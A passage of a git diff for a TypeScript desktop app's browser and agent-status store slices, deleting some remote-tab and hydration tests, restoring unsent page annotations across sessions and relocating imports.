-    expect(transferPaneAuthority).toHaveBeenNthCalledWith(2, {
-      fromPaneKey: TARGET,
-      toPaneKey: FINAL,
-      ptyId: 'pty-1'
-    })
-
-    store.getState().dropAgentStatusByTabPrefix('tab-final')
-    store.getState().setAgentStatus(SOURCE, { state: 'done', prompt: 'too late' })
-
-    expect(store.getState().agentStatusByPaneKey[SOURCE]).toBeUndefined()
-    expect(store.getState().agentStatusByPaneKey[FINAL]).toBeUndefined()
-    expect(store.getState().recentlyRetiredAgentStatusPaneKeys[SOURCE]).toBe(true)
-  })
-
-  it('forgets routing aliases for purged tabs', () => {
-    const leafId = '66666666-6666-4666-8666-666666666666'
-    transferAgentPaneAuthorityAlias({
-      fromPaneKey: makePaneKey('tab-purged', leafId),
-      toPaneKey: makePaneKey('tab-kept', leafId),
-      ptyId: 'pty-1'
-    })
-    expect(resolveAgentPaneAuthorityKey('tab-purged:66666666-6666-4666-8666-666666666666')).toBe(
-      'tab-kept:66666666-6666-4666-8666-666666666666'
-    )
-
-    forgetAgentPaneAuthorityAliasesByTabIds(['tab-kept'])
-    expect(resolveAgentPaneAuthorityKey('tab-purged:66666666-6666-4666-8666-666666666666')).toBe(
-      'tab-purged:66666666-6666-4666-8666-666666666666'
-    )
-  })
-
   it('clears the alias when a pane moves back to a key it previously left', () => {
     const store = createTestStore()
     store.getState().setAgentStatus(SOURCE, { state: 'working', prompt: 'source' })
diff --git a/src/renderer/src/store/slices/browser/annotations/browser-page-annotation.ts b/src/renderer/src/store/slices/browser/annotations/browser-page-annotation.ts
index be79810cb92..9f3792bfb7e 100644
--- a/src/renderer/src/store/slices/browser/annotations/browser-page-annotation.ts
+++ b/src/renderer/src/store/slices/browser/annotations/browser-page-annotation.ts
@@ -42,3 +42,16 @@ export function retainBrowserAnnotationMarkerIds(
   }
   return nextByPageId
 }
+
+/** Closing a browser tab discards the notes its pages hold unsent. */
+export function hasUnsentBrowserNotes(
+  state: {
+    browserPagesByWorkspace: Record<string, readonly { id: string }[]>
+    browserAnnotationsByPageId: Record<string, readonly BrowserPageAnnotation[]>
+  },
+  browserWorkspaceId: string
+): boolean {
+  return (state.browserPagesByWorkspace[browserWorkspaceId] ?? []).some(
+    (page) => (state.browserAnnotationsByPageId[page.id]?.length ?? 0) > 0
+  )
+}
diff --git a/src/renderer/src/store/slices/browser/cleanup/browser-cleanup-close.test.ts b/src/renderer/src/store/slices/browser/cleanup/browser-cleanup-close.test.ts
index db83c822f7b..2267a07be45 100644
--- a/src/renderer/src/store/slices/browser/cleanup/browser-cleanup-close.test.ts
+++ b/src/renderer/src/store/slices/browser/cleanup/browser-cleanup-close.test.ts
@@ -85,26 +85,6 @@ async function storeWithOnlyBrowserTab(): Promise<{
   return { store, workspaceId: workspace.id, pageId }
 }
 
-/** Three browser tabs in a known tab-bar order, so neighbor selection is deterministic. */
-async function storeWithThreeBrowserTabs(): Promise<{
-  store: ReturnType<typeof createTestStore>
-  ids: string[]
-}> {
-  const store = createTestStore()
-  seedStore(store, {
-    worktreesByRepo: { repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })] },
-    activeWorktreeId: WT,
-    activeTabType: 'terminal'
-  })
-  main = await drawTabsFromMain(store)
-  const ids = [0, 1, 2].map(
-    (index) =>
-      store.getState().createBrowserTab(WT, `https://example.test/${index}`, { activate: true }).id
-  )
-  await settled()
-  return { store, ids }
-}
-
 describe('closeBrowserTab with reason cleanup', () => {
   beforeEach(() => {
     vi.clearAllMocks()
@@ -125,27 +105,4 @@ describe('closeBrowserTab with reason cleanup', () => {
     expect(s.browserTabsByWorktree[WT] ?? []).toEqual([])
     expect(s.unifiedTabsByWorktree[WT] ?? []).toEqual([])
   })
-
-  // Require real closes still use Landing; cleanup carve-out must remain narrow.
-  it('still returns to the landing state when the user closes the only tab', async () => {
-    const { store, workspaceId } = await storeWithOnlyBrowserTab()
-
-    store.getState().closeBrowserTab(workspaceId)
-
-    await settled()
-
-    expect(store.getState().activeWorktreeId).toBeNull()
-  })
-
-  // Background tab close must never move focus, including through pending address-bar bookkeeping.
-  it('leaves the active browser tab alone when a background tab closes', async () => {
-    const { store, ids } = await storeWithThreeBrowserTabs()
-    store.getState().setActiveBrowserTab(ids[0]!)
-
-    store.getState().closeBrowserTab(ids[2]!)
-
-    await settled()
-
-    expect(store.getState().activeBrowserTabIdByWorktree[WT]).toBe(ids[0]!)
-  })
 })
diff --git a/src/renderer/src/store/slices/browser/cleanup/browser-close-actions.ts b/src/renderer/src/store/slices/browser/cleanup/browser-close-actions.ts
index e13a742377b..f6cbf8ac236 100644
--- a/src/renderer/src/store/slices/browser/cleanup/browser-close-actions.ts
+++ b/src/renderer/src/store/slices/browser/cleanup/browser-close-actions.ts
@@ -16,7 +16,7 @@ import { destroyWorkspaceWebviews } from './browser-webview-cleanup'
 import { omitRecordKeys } from '../../worktrees/teardown/record-key-omission'
 import { landOnEmptiedWorktree } from '../../tabs/tabs-empty-workspace'
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import { forgetDesktopCreatedServerTab } from '@/lib/desktop-created-server-tabs'
+import { forgetDesktopCreatedServerTab } from '@/store/workspace-layout/frames/desktop-created-server-tabs'
 import {
   closeBrowserTabThroughLayoutOwner,
   withDrawnBrowserPages,
diff --git a/src/renderer/src/store/slices/browser/hosts/browser-remote-tab-creation.test.ts b/src/renderer/src/store/slices/browser/hosts/browser-remote-tab-creation.test.ts
deleted file mode 100644
index b600a0c6624..00000000000
--- a/src/renderer/src/store/slices/browser/hosts/browser-remote-tab-creation.test.ts
+++ /dev/null
@@ -1,197 +0,0 @@
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import type { AppState } from '../../../types'
-import { layoutApplyTestTransport } from '@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture'
-import {
-  createBrowserMockApi,
-  resetBrowserRuntimeMocks,
-  runtimeStatuses,
-  settingsWithRuntime
-} from '../browser-slice-test-harness'
-import {
-  createTestStoreDrawnFromMain,
-  onePaneGroup
-} from '../browser-slice-drawn-from-main.test-fixture'
-
-const createWebRuntimeSessionBrowserTabMock = vi.hoisted(() => vi.fn())
-const runtimeEnvironmentCall = vi.fn()
-const runtimeEnvironmentTransportCall = vi.fn()
-
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-vi.mock('@/runtime/workspace-layout/frames/runtime-layout-client', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeLayoutClientWithTestFrames(await importOriginal())
-)
-vi.mock('@/store/slices/browser/tabs/paired-browser-tab-creator', () => ({
-  getRegisteredPairedBrowserTabCreator: () => null,
-  loadPairedBrowserTabCreator: async () => createWebRuntimeSessionBrowserTabMock
-}))
-
-const mockApi = createBrowserMockApi(runtimeEnvironmentTransportCall)
-
-// @ts-expect-error test window mock
-globalThis.window = { api: mockApi }
-
-/** A server-owned workspace's desktop tab: the window draws it, as main never holds that layout. */
-function expectDrawnHere(state: AppState): void {
-  expect(layoutApplyTestTransport.sent).toEqual([])
-  expect(state.createUnifiedTab).toHaveBeenCalled()
-}
-
-describe('createBrowserSlice runtime guard', () => {
-  beforeEach(() => {
-    resetBrowserRuntimeMocks({
-      runtimeEnvironmentCall,
-      runtimeEnvironmentTransportCall,
-      createWebRuntimeSessionBrowserTabMock
-    })
-  })
-
-  afterEach(() => {
-    vi.unstubAllGlobals()
-  })
-
-  it('rejects direct client-local materialization in the web client', async () => {
-    vi.stubGlobal('__ORCA_WEB_CLIENT__', true)
-    const { store } = await createTestStoreDrawnFromMain()
-
-    expect(() => store.getState().createBrowserTab('wt-1', 'about:blank')).toThrow(
-      'must be created by a capable paired runtime'
-    )
-    expect(store.getState().browserTabsByWorktree['wt-1']).toBeUndefined()
-    expect(store.getState().createUnifiedTab).not.toHaveBeenCalled()
-  })
-
-  it('uses the desktop client browser when a remote npm host cannot stream', async () => {
-    const { store, main } = await createTestStoreDrawnFromMain({
-      ...onePaneGroup('wt-remote'),
-      activeWorktreeId: 'wt-remote',
-      settings: settingsWithRuntime('env-1'),
-      runtimeStatusByEnvironmentId: runtimeStatuses([]),
-      worktreesByRepo: {
-        'repo-1': [
-          {
-            id: 'wt-remote',
-            repoId: 'repo-1',
-            hostId: 'local',
-            runtimeOwnerEnvironmentId: 'env-1'
-          } as never
-        ]
-      }
-    })
-
-    await store.getState().openNewBrowserTabInActiveWorkspace('group-1')
-    await main.settle()
-
-    expect(createWebRuntimeSessionBrowserTabMock).not.toHaveBeenCalled()
-    const tab = store.getState().browserTabsByWorktree['wt-remote']?.[0]
-    const page = tab ? store.getState().browserPagesByWorkspace[tab.id]?.[0] : undefined
-    expect(page?.browserRuntimeEnvironmentId).toBeNull()
-    expectDrawnHere(store.getState())
-  })
-
-  it('does not create a local fallback tab when remote browser creation fails', async () => {
-    // Failed remote creation must not fall back local and split workspace ownership (#5321).
-    createWebRuntimeSessionBrowserTabMock.mockResolvedValueOnce(false)
-    const { store, main } = await createTestStoreDrawnFromMain({
-      ...onePaneGroup('wt-remote'),
-      activeWorktreeId: 'wt-remote',
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      runtimeStatusByEnvironmentId: runtimeStatuses(['browser.screencast.v1']),
-      worktreesByRepo: {
-        'repo-1': [
-          {
-            id: 'wt-remote',
-            repoId: 'repo-1',
-            hostId: 'local',
-            runtimeOwnerEnvironmentId: 'env-1'
-          } as never
-        ]
-      }
-    })
-
-    await expect(store.getState().openNewBrowserTabInActiveWorkspace('group-1')).rejects.toThrow(
-      'The paired runtime could not create a managed browser tab.'
-    )
-
-    expect(createWebRuntimeSessionBrowserTabMock).toHaveBeenCalledWith({
-      worktreeId: 'wt-remote',
-      environmentId: 'env-1',
-      url: 'about:blank',
-      targetGroupId: 'group-1',
-      clientTargetGroupId: 'group-1'
-    })
-    // No local tab created, no unified tab, no feature interaction recorded.
-    await main.settle()
-    expect(layoutApplyTestTransport.sent).toEqual([])
-    expect(store.getState().browserTabsByWorktree['wt-remote']).toBeUndefined()
-    expect(store.getState().createUnifiedTab).not.toHaveBeenCalled()
-    expect(store.getState().recordFeatureInteraction).not.toHaveBeenCalledWith(
-      'browser-tab-created'
-    )
-  })
-
-  it('rejects a paired-web sign-in tab when the remote host cannot stream browsers', async () => {
-    vi.stubGlobal('__ORCA_WEB_CLIENT__', true)
-    const { store, main } = await createTestStoreDrawnFromMain({
-      ...onePaneGroup('wt-remote'),
-      activeWorktreeId: 'wt-remote',
-      settings: settingsWithRuntime('env-1'),
-      runtimeStatusByEnvironmentId: runtimeStatuses([]),
-      worktreesByRepo: {
-        'repo-1': [
-          {
-            id: 'wt-remote',
-            repoId: 'repo-1',
-            hostId: 'local',
-            runtimeOwnerEnvironmentId: 'env-1'
-          } as never
-        ]
-      }
-    })
-
-    await expect(
-      store
-        .getState()
-        .openBrowserProfileTabInActiveWorkspace('https://accounts.google.com/', 'profile-1')
-    ).resolves.toBe(false)
-
-    expect(createWebRuntimeSessionBrowserTabMock).not.toHaveBeenCalled()
-    expect(store.getState().browserTabsByWorktree['wt-remote']).toBeUndefined()
-    await main.settle()
-    expect(layoutApplyTestTransport.sent).toEqual([])
-  })
-
-  it('does not create a local fallback tab when remote browser creation throws', async () => {
-    createWebRuntimeSessionBrowserTabMock.mockRejectedValueOnce(new Error('remote down'))
-    const { store, main } = await createTestStoreDrawnFromMain({
-      ...onePaneGroup('wt-remote'),
-      activeWorktreeId: 'wt-remote',
-      settings: { activeRuntimeEnvironmentId: 'env-1' } as AppState['settings'],
-      runtimeStatusByEnvironmentId: runtimeStatuses(['browser.screencast.v1']),
-      worktreesByRepo: {
-        'repo-1': [
-          {
-            id: 'wt-remote',
-            repoId: 'repo-1',
-            hostId: 'local',
-            runtimeOwnerEnvironmentId: 'env-1'
-          } as never
-        ]
-      }
-    })
-
-    await expect(store.getState().openNewBrowserTabInActiveWorkspace('group-1')).rejects.toThrow(
-      'remote down'
-    )
-    await main.settle()
-    expect(layoutApplyTestTransport.sent).toEqual([])
-
-    expect(store.getState().browserTabsByWorktree['wt-remote']).toBeUndefined()
-    expect(store.getState().createUnifiedTab).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts b/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts
new file mode 100644
index 00000000000..c7abb5bdf9e
--- /dev/null
+++ b/src/renderer/src/store/slices/browser/hydration/browser-annotation-session-restore.test.ts
@@ -0,0 +1,76 @@
+import { describe, expect, it, vi } from 'vitest'
+import '../../../../../../shared/constants'
+import { parseWorkspaceSession } from '../../../../../../shared/workspace-session/workspace-session-schema'
+import type { WorkspaceSessionState } from '../../../../../../shared/workspace-session/workspace-session-state-types'
+import { buildWorkspaceSessionPayload } from '@/lib/workspace/persistence/workspace-session'
+import { createTestStore } from '../../../testing/app-store-test-fixture'
+import { createStoreSessionMockApi } from '../../../testing/app-store-session-api.test-fixture'
+import { makeWorktree } from '../../worktrees/worktree.test-fixture'
+import { makeBrowserTab } from '../browser-tab.test-fixture'
+import { makeAnnotation } from '../annotations/browser-annotation-test-fixture'
+
+vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
+
+createStoreSessionMockApi()
+
+const WT = 'repo1::/path/wt1'
+
+function createHydratedStore(session: WorkspaceSessionState) {
+  const store = createTestStore()
+  store.setState({
+    repos: [{ id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }],
+    worktreesByRepo: { repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })] },
+    activeWorktreeId: WT
+  })
+  store.getState().hydrateBrowserSession(session)
+  return store
+}
+
+describe('unsent browser notes across a restart', () => {
+  it('restores a page’s unsent notes from the saved session', () => {
+    const before = createHydratedStore({
+      activeRepoId: 'repo1',
+      activeWorktreeId: WT,
+      activeTabId: null,
+      tabsByWorktree: {},
+      terminalLayoutsByTabId: {},
+      browserTabsByWorktree: {
+        [WT]: [makeBrowserTab({ id: 'workspace-1', worktreeId: WT, url: 'https://example.com/' })]
+      },
+      browserPagesByWorkspace: {
+        'workspace-1': [
+          {
+            id: 'page-1',
+            workspaceId: 'workspace-1',
+            worktreeId: WT,
+            url: 'https://example.com/',
+            title: 'Example',
+            loading: false,
+            faviconUrl: null,
+            canGoBack: false,
+            canGoForward: false,
+            loadError: null,
+            createdAt: 1
+          }
+        ]
+      },
+      activeBrowserTabIdByWorktree: { [WT]: 'workspace-1' }
+    })
+    before.getState().addBrowserPageAnnotation(makeAnnotation('page-1'))
+
+    const saved = parseWorkspaceSession(
+      JSON.parse(JSON.stringify(buildWorkspaceSessionPayload(before.getState())))
+    )
+    if (!saved.ok) {
+      throw new Error(saved.error)
+    }
+    const after = createHydratedStore(saved.value)
+
+    expect(after.getState().browserAnnotationsByPageId).toEqual({
+      'page-1': [makeAnnotation('page-1')]
+    })
+    expect(after.getState().browserPagesByWorkspace['workspace-1']?.[0]).not.toHaveProperty(
+      'annotations'
+    )
+  })
+})
diff --git a/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts b/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts
index 22c31ee7fb9..67cb76bc6e6 100644
--- a/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts
+++ b/src/renderer/src/store/slices/browser/hydration/browser-hydration-state.ts
@@ -6,7 +6,11 @@ import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../
 import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
 import '../../../../../../shared/constants'
 import { ORCA_BROWSER_BLANK_URL } from '../../../../../../shared/browser/browser-blank-page'
-import type { WorkspaceSessionState } from '../../../../../../shared/workspace-session/workspace-session-state-types'
+import type {
+  PersistedBrowserPage,
+  WorkspaceSessionState
+} from '../../../../../../shared/workspace-session/workspace-session-state-types'
+import type { BrowserPageAnnotation } from '../../../../../../shared/browser/element-grab/browser-grab-types'
 import { normalizeBrowserHistoryEntries } from '../../../../../../shared/workspace-session/workspace-session-browser-history'
 import { normalizeWorkspaceDocHistoryEntries } from '../../../../../../shared/workspace-session/workspace-doc-history'
 import type { AppState } from '../../../types'
@@ -37,6 +41,7 @@ export function projectHydratedBrowserSession(
   const persistedActiveTabTypeByWorktree = session.activeTabTypeByWorktree ?? {}
   const browserTabsByWorktree: Record<string, BrowserWorkspace[]> = {}
   const browserPagesByWorkspace: Record<string, BrowserPage[]> = {}
+  const browserAnnotationsByPageId: Record<string, BrowserPageAnnotation[]> = {}
 
   for (const [worktreeId, tabs] of Object.entries(persistedTabsByWorktree)) {
     if (!validWorktreeIds.has(worktreeId)) {
@@ -46,7 +51,7 @@ export function projectHydratedBrowserSession(
     for (const tab of tabs) {
       // Salvage can leave an empty page array; hydrate it like a missing array.
       const storedPages = persistedPagesByWorkspace[tab.id]
-      const persistedPages = storedPages?.length
+      const persistedPages: PersistedBrowserPage[] = storedPages?.length
         ? storedPages
         : [
             {
@@ -70,10 +75,14 @@ export function projectHydratedBrowserSession(
           ]
       const nextPages = persistedPages.map((page) => {
         // Why: in-memory hydration callers can bypass the persistence schema's unknown-key stripping.
-        const { allowWindowClose: _legacyAllowWindowClose, ...persistedPage } =
-          page as typeof page & {
-            allowWindowClose?: boolean
-          }
+        const { allowWindowClose: _legacyAllowWindowClose, ...savedPage } = page as typeof page & {
+          allowWindowClose?: boolean
+        }
+        // The store keeps a page's unsent notes beside its record, not on it.
+        const { annotations, ...persistedPage } = savedPage
+        if (annotations?.length) {
+          browserAnnotationsByPageId[page.id] = annotations
+        }
         return {
           ...persistedPage,
           workspaceId: tab.id,
@@ -179,7 +188,7 @@ export function projectHydratedBrowserSession(
     remoteBrowserPageHandlesByPageId:
       buildRestoredRemoteBrowserPageHandles(browserPagesByWorkspace),
     browserCertificateFailuresByPageId: {},
-    browserAnnotationsByPageId: {},
+    browserAnnotationsByPageId,
     browserAnnotationMarkerIdsByPageId: {},
     browserUrlHistory: normalizeBrowserHistoryEntries(session.browserUrlHistory ?? []),
     workspaceDocHistory: normalizeWorkspaceDocHistoryEntries(session.workspaceDocHistory ?? []),
diff --git a/src/renderer/src/store/slices/browser/hydration/store-session-browser-hydration.test.ts b/src/renderer/src/store/slices/browser/hydration/store-session-browser-hydration.test.ts
deleted file mode 100644
index d42b446678f..00000000000
--- a/src/renderer/src/store/slices/browser/hydration/store-session-browser-hydration.test.ts
+++ /dev/null
@@ -1,174 +0,0 @@
-import { describe, it, expect, vi, beforeEach } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { BrowserPage } from '../../../../../../shared/browser-workspace-types'
-import '../../../../../../shared/constants'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import {
-  RemoteBrowserPageSession,
-  type RemoteBrowserPageSessionDeps
-} from '@/components/browser-pane/stream-remote/remote-browser-page-session'
-import { RuntimeRpcCallError } from '@/runtime/rpc/calls/runtime-rpc-result'
-import { resetRestoredBrowserClientHostAttachForTests } from '@/runtime/browser/client-hosting/restored-client-hosted-browser-host-attach'
-import { createTestStore } from '../../../testing/app-store-test-fixture'
-import { makeWorktree } from '../../worktrees/worktree.test-fixture'
-import { createStoreSessionMockApi } from '../../../testing/app-store-session-api.test-fixture'
-import { makeBrowserTab } from '../browser-tab.test-fixture'
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return {
-    ...actual,
-    detectAgentStatusFromTitle: vi.fn().mockReturnValue(null)
-  }
-})
-
-createStoreSessionMockApi()
-
-describe('hydrateBrowserSession remote page handle seeding', () => {
-  const WT = 'repo1::/path/wt1'
-
-  function createHydratedStore(page: Partial<BrowserPage> & { id: string }) {
-    const store = createTestStore()
-    store.setState({
-      repos: [
-        { id: 'repo1', path: '/repo1', displayName: 'Repo 1', badgeColor: '#000', addedAt: 0 }
-      ],
-      worktreesByRepo: {
-        repo1: [makeWorktree({ id: WT, repoId: 'repo1', path: '/path/wt1' })]
-      },
-      activeWorktreeId: WT
-    })
-    store.getState().hydrateBrowserSession({
-      activeRepoId: 'repo1',
-      activeWorktreeId: WT,
-      activeTabId: null,
-      tabsByWorktree: {},
-      terminalLayoutsByTabId: {},
-      browserTabsByWorktree: {
-        [WT]: [makeBrowserTab({ id: 'workspace-1', worktreeId: WT, url: 'https://example.com/' })]
-      },
-      browserPagesByWorkspace: {
-        'workspace-1': [
-          {
-            workspaceId: 'workspace-1',
-            worktreeId: WT,
-            url: 'https://example.com/',
-            title: 'Example',
-            loading: false,
-            faviconUrl: null,
-            canGoBack: false,
-            canGoForward: false,
-            loadError: null,
-            createdAt: 1,
-            ...page
-          }
-        ]
-      },
-      activeBrowserTabIdByWorktree: { [WT]: 'workspace-1' }
-    })
-    return store
-  }
-
-  beforeEach(() => {
-    vi.clearAllMocks()
-    resetRestoredBrowserClientHostAttachForTests()
-  })
-
-  // Drive ensureRemotePage through the real session; store-map assertions alone cannot prove adopt versus create.
-  function createStreamedSession(
-    store: ReturnType<typeof createTestStore>,
-    deps: {
-      callRpc: RemoteBrowserPageSessionDeps['callRpc']
-      currentUrl: string
-      closeMissingRemotePage?: (remotePageId: string | null) => void
-    }
-  ): RemoteBrowserPageSession {
-    let remotePage: string | null = null
-    return new RemoteBrowserPageSession({
-      tokens: {
-        isCurrent: () => true,
-        get remotePage() {
-          return remotePage
-        },
-        setRemotePage: (value: string | null) => {
-          remotePage = value
-        }
-      } as never,
-      callRpc: deps.callRpc,
-      getWorktreeSelector: () => WT,
-      getCurrentUrl: () => deps.currentUrl,
-      readStoredHandle: () => store.getState().remoteBrowserPageHandlesByPageId['page-1'] ?? null,
-      writeStoredHandle: (handle) => store.getState().setRemoteBrowserPageHandle('page-1', handle),
-      removeStoredHandle: (remotePageId) =>
-        store.getState().removeRemoteBrowserPageHandle('page-1', remotePageId),
-      applyTabInfo: () => {},
-      closeMissingRemotePage: deps.closeMissingRemotePage ?? (() => {})
-    })
-  }
-
-  it('adopts a remote page this session already created', async () => {
-    const store = createHydratedStore({ id: 'page-1', browserRuntimeEnvironmentId: 'env-1' })
-    store.getState().setRemoteBrowserPageHandle('page-1', {
-      environmentId: 'env-1',
-      remotePageId: 'remote-page-1'
-    })
-    const callRpc = vi.fn(async (_target: unknown, _method: string) => ({
-      tab: { url: 'https://example.com/', title: 'Example' }
-    }))
-    const session = createStreamedSession(store, {
-      callRpc: callRpc as never,
-      currentUrl: 'https://example.com/'
-    })
-
-    const resolved = await session.ensureRemotePage({
-      environmentId: 'env-1',
-      generation: 1,
-      remotePageId: null
-    } as never)
-
-    expect(resolved).toBe('remote-page-1')
-    expect(callRpc.mock.calls.map(([, method]) => method)).toEqual(['browser.tabShow'])
-  })
-
-  // Restarted runtime returns browser_tab_not_found; recreate at saved URL instead of adopting and deleting the row.
-  it('re-creates a restored server-hosted page at its saved URL instead of adopting it', async () => {
-    const store = createHydratedStore({
-      id: 'page-1',
-      browserRuntimeEnvironmentId: 'env-1',
-      remoteBrowserPageId: 'remote-page-1',
-      url: 'https://example.com/saved'
-    })
-    const callRpc = vi.fn(async (_target: unknown, method: string, _params?: unknown) => {
-      if (method === 'browser.tabShow') {
-        throw new RuntimeRpcCallError({
-          ok: false,
-          error: { code: 'browser_tab_not_found', message: 'browser_tab_not_found' }
-        } as never)
-      }
-      return { browserPageId: 'remote-page-2' }
-    })
-    const closeMissingRemotePage = vi.fn()
-    const session = createStreamedSession(store, {
-      callRpc: callRpc as never,
-      currentUrl: 'https://example.com/saved',
-      closeMissingRemotePage
-    })
-
-    const resolved = await session.ensureRemotePage({
-      tabId: 'page-1',
-      environmentId: 'env-1',
-      generation: 1,
-      remotePageId: null
-    })
-
-    expect(closeMissingRemotePage).not.toHaveBeenCalled()
-    // Switch-on first probes the row id with tabShow; the restarted runtime has no such page.
-    expect(callRpc.mock.calls.map(([, method]) => method)).toEqual(
-      ORCA_LAYOUT_OWNER_IS_MAIN ? ['browser.tabShow', 'browser.tabCreate'] : ['browser.tabCreate']
-    )
-    expect(callRpc.mock.calls.at(-1)?.[2]).toMatchObject({ url: 'https://example.com/saved' })
-    expect(resolved).toBe('remote-page-2')
-  })
-})
diff --git a/src/renderer/src/store/slices/browser/pages/browser-page-conversion-actions.ts b/src/renderer/src/store/slices/browser/pages/browser-page-conversion-actions.ts
index 917e58c6122..c10a040e1ff 100644
--- a/src/renderer/src/store/slices/browser/pages/browser-page-conversion-actions.ts
+++ b/src/renderer/src/store/slices/browser/pages/browser-page-conversion-actions.ts
@@ -1,3 +1,12 @@
+import { planBrowserPageConversion } from './browser-page-conversion'
+import { findPage, findWorkspace, mirrorWorkspaceFromActivePage } from './browser-page-records'
+import { assertManagedBrowserMaterializationAllowed } from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
+import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
+import { closeRemoteBrowserPageInOwningEnvironment } from '../hosts/browser-remote-close'
+import { releaseDocPreviewGrant } from '@/lib/browser/documents/doc-preview-grants'
+import { isLocalBrowserPageOwner } from '../hosts/browser-host-state'
+import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
+import { sendBrowserLayoutCommand } from '../tabs/browser-layout-owner-commands'
 import type {
   BrowserSlice,
   BrowserSliceGet,
@@ -5,15 +14,6 @@ import type {
   RemoteBrowserPageHandle
 } from '../browser-slice-contract'
 import type { BrowserPage } from '../../../../../../shared/browser-workspace-types'
-import { planBrowserPageConversion } from './browser-page-conversion'
-import { findPage, findWorkspace, mirrorWorkspaceFromActivePage } from './browser-page-records'
-import { assertManagedBrowserMaterializationAllowed } from '@/lib/client-creation-action-policy'
-import { runtimeEnvironmentIdOrLocalUnlessTwin } from '@/lib/workspace/ownership/worktree-runtime-owner'
-import { closeRemoteBrowserPageInOwningEnvironment } from '../hosts/browser-remote-close'
-import { releaseDocPreviewGrant } from '@/lib/browser/documents/doc-preview-grants'
-import { isLocalBrowserPageOwner } from '../hosts/browser-host-state'
-import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner-switch'
-import { sendBrowserLayoutCommand } from '../tabs/browser-layout-owner-commands'
 
 export function createBrowserPageConversionActions(
   set: BrowserSliceSet,
diff --git a/src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts b/src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts
index 1019981fc91..707811ad26e 100644
--- a/src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts
+++ b/src/renderer/src/store/slices/browser/pages/browser-workspace-doc-location.test.ts
@@ -74,6 +74,7 @@ function persistedSession(
     state.browserTabsByWorktree,
     state.browserPagesByWorkspace,
     state.activeBrowserTabIdByWorktree,
+    {},
     {}
   )
 }
diff --git a/src/renderer/src/store/slices/browser/tabs/browser-tab-actions.ts b/src/renderer/src/store/slices/browser/tabs/browser-tab-actions.ts
index 043ff04a4e3..dd4eb3154a2 100644
--- a/src/renderer/src/store/slices/browser/tabs/browser-tab-actions.ts
+++ b/src/renderer/src/store/slices/browser/tabs/browser-tab-actions.ts
@@ -1,10 +1,9 @@
 import { createNonSecureContextUuid as createBrowserUuid } from '../../../../../../shared/non-secure-context-uuid'
 import { translate } from '@/i18n/i18n'
-import type { BrowserSlice, BrowserSliceGet, BrowserSliceSet } from '../browser-slice-contract'
 import {
   assertManagedBrowserMaterializationAllowed,
   getClientCreationActionPolicy
-} from '@/lib/client-creation-action-policy'
+} from '@/lib/workspace/creation/surface-policy/client-creation-action-policy'
 import {
   buildBrowserPage,
   buildWorkspaceFromPage,
@@ -24,6 +23,7 @@ import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../../../../shared/layout-owner
 import { openBrowserTabThroughLayoutOwner } from './browser-tab-open-through-layout-owner'
 import { browserTabOpenView } from './browser-tab-open-view'
 import { resolveWebRuntimeBrowserClientTargetGroup } from '@/runtime/browser/creation/web-runtime-browser-client-target-group'
+import type { BrowserSlice, BrowserSliceGet, BrowserSliceSet } from '../browser-slice-contract'
 
 export function createBrowserTabActions(
   set: BrowserSliceSet,
diff --git a/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts b/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts
index 428a8291a37..a86a42b4d03 100644
--- a/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts
+++ b/src/renderer/src/store/slices/diff-comments/diff-comments-host-twins.test.ts
@@ -1,26 +1,16 @@
 import type * as RuntimeRpcCallModule from '../../../runtime/rpc/calls/runtime-rpc-call'
 
 import { callRuntimeRpc } from '../../../runtime/rpc/calls/runtime-rpc-call'
-import {
-  diffCommentSendKey,
-  holdNotesForSend,
-  isNoteInFlight,
-  resetNotesInFlightForTests
-} from '@/lib/notes-send-in-flight'
+import { resetNotesInFlightForTests } from '@/components/notes/delivery/notes-send-in-flight'
 import type { AppState } from '../../types'
-import {
-  diffCommentOwnerKey,
-  selectDiffCommentView,
-  type DiffCommentOwner
-} from './diff-comment-owner'
+import { selectDiffCommentView, type DiffCommentOwner } from './diff-comment-owner'
